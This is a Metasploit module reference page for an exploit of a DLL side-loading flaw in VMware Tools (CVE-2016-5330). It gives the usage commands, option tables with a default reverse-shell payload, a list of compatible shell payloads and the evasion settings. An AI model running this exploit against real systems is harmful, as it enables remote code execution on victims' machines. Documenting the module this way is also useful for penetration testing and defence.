DLL Side Loading Vulnerability in VMware Host Guest Client Redirector - Metasploit


This page contains detailed information about how to use the exploit/windows/misc/vmhgfs_webdav_dll_sideload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: DLL Side Loading Vulnerability in VMware Host Guest Client Redirector
Module: exploit/windows/misc/vmhgfs_webdav_dll_sideload
Source code: modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb
Disclosure date: 2016-08-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-5330

A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, a component of VMware Tools. This issue can be exploited by luring a victim into opening a document from the attacker's share. An attacker can exploit this issue to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. If the WebDAV Mini-Redirector is enabled, it is possible to exploit this issue over the internet.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use exploit/windows/misc/vmhgfs_webdav_dll_sideload
msf exploit(vmhgfs_webdav_dll_sideload) > exploit

Go back to menu.

Msfconsole Usage


Here is how the windows/misc/vmhgfs_webdav_dll_sideload exploit module looks in the msfconsole:

msf6 > use exploit/windows/misc/vmhgfs_webdav_dll_sideload

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/misc/vmhgfs_webdav_dll_sideload) > show info

       Name: DLL Side Loading Vulnerability in VMware Host Guest Client Redirector
     Module: exploit/windows/misc/vmhgfs_webdav_dll_sideload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-08-05

Provided by:
  Yorick Koster

Available targets:
  Id  Name
  --  ----
  0   Windows x64
  1   Windows x86

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  BASENAME   Document1        yes       The base name for the docx file
  SHARENAME  documents        yes       The name of the top-level share
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    80               yes       The daemon port to listen on (do not change)
  URIPATH    /                yes       The URI to use (do not change)

Payload information:
  Space: 2048

Description:
  A DLL side loading vulnerability was found in the VMware Host Guest 
  Client Redirector, a component of VMware Tools. This issue can be 
  exploited by luring a victim into opening a document from the 
  attacker's share. An attacker can exploit this issue to execute 
  arbitrary code with the privileges of the target user. This can 
  potentially result in the attacker taking complete control of the 
  affected system. If the WebDAV Mini-Redirector is enabled, it is 
  possible to exploit this issue over the internet.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-5330
  https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html
  http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html

Module Options


This is a complete list of options available in the windows/misc/vmhgfs_webdav_dll_sideload exploit:

msf6 exploit(windows/misc/vmhgfs_webdav_dll_sideload) > show options

Module options (exploit/windows/misc/vmhgfs_webdav_dll_sideload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BASENAME   Document1        yes       The base name for the docx file
   SHARENAME  documents        yes       The name of the top-level share
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    80               yes       The daemon port to listen on (do not change)
   URIPATH    /                yes       The URI to use (do not change)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x64

Advanced Options


Here is a complete list of advanced options supported by the windows/misc/vmhgfs_webdav_dll_sideload exploit:

msf6 exploit(windows/misc/vmhgfs_webdav_dll_sideload) > show advanced

Module advanced options (exploit/windows/misc/vmhgfs_webdav_dll_sideload):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/misc/vmhgfs_webdav_dll_sideload module can exploit:

msf6 exploit(windows/misc/vmhgfs_webdav_dll_sideload) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x64
   1   Windows x86

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/misc/vmhgfs_webdav_dll_sideload exploit:

msf6 exploit(windows/misc/vmhgfs_webdav_dll_sideload) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   22  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   23  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   24  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   27  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   28  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   29  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   30  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   31  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   32  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   33  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   34  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   35  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   36  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   37  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   38  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   39  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   40  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   41  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   42  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   43  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   44  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   45  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   46  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   47  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   48  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   51  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   52  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   53  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   55  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/misc/vmhgfs_webdav_dll_sideload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/misc/vmhgfs_webdav_dll_sideload) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Using WebDAV requires SRVPORT=80 and URIPATH=/


Here is a relevant code snippet related to the "Using WebDAV requires SRVPORT=80 and URIPATH=/" error message:

337:	    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
338:	
339:	    @exploit_unc  = "\\\\#{myhost}\\"
340:	
341:	    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
342:	      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
343:	    end
344:	
345:	    print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
346:	
347:	    super

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


Yorick Koster

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.